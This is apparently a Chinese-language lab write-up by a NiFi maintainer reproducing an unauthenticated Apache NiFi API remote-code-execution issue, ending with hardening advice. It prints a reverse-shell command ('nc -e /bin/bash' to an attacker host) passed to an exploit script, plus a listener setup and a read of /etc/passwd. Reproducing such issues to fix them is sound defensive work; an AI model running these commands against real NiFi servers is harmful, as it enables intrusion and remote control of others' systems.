背景
Apache NiFi API Remote Code Execution
Add new Apache NiFi RCE exploit module
最近公司安全给我维护的NiFi项目提了一个严重的安全漏洞,那么我就来研究一下吧。
NiFi 的默认安装是不安全的并且通过 HTTP 运行,该漏洞就是是利用 Apache NiFi 中的弱配置,也就是无需用户密码,可通过使用NiFi API自动创建ExecuteProcess 处理器创建、配置和运行命令,然后停止和删除处理器,从而达到悄无声息的进行远程命令攻击。
NiFi 默认包含许多处理器,其中ExecuteProcess 是一个可用于运行系统命令的处理器。类似的有“危险”处理器,例如 ExecuteScript,利用的系统上已经安装这些脚本语言,通过注入脚本的方式进行远程脚本攻击。
漏洞前提
- ExecuteProcess 处理器必须可用
- API 必须不安全(或提供凭据/令牌)
环境准备
无需登录的NIFI单节点:192.168.42.6
kerberos认证的NIFI集群节点:192.168.42.3
攻击的服务器:192.168.42.4
yum install nc -y yum install nmap -y
nc的作用
(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
(2)端口的扫描,nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速python3.9安装下列模块
pip install requests
操作验证
第一步:192.168.42.4开启nc监听
nc -lvp 1234
第二步:执行攻击命令
python exp.py "http://192.168.42.6:8080" "nc -e /bin/bash 192.168.42.4 1234"
页面多了一个ExecuteProcess
NiFi History记录了ExecuteProcess创建过程
查看ExecuteProcess注入的配置
第三步:192.168.42.4执行攻击命令
cat /etc/passwd
如上图,192.168.42.6的命令就可以操作。
第四步:攻击有kerberos认证的NIFI服务器
python exp.py "http://192.168.42.3:8080" "nc -e /bin/bash 192.168.42.4 1234"
如图,因为有密码则无法简单的连接注入脚本攻击
结论
- NIFI的不设置登录是不安全。
- NIFI的强大的脚本执行处理器以及脚本执行处理器存在注入风险。
- NIFI1.14.0一下版本均存在上述风险,解决措施
- 给NIFI设置密码,定期更换密码,不适用弱密码
- 从源码nar包中剔除有注入风险的处理器,需要重新编译源码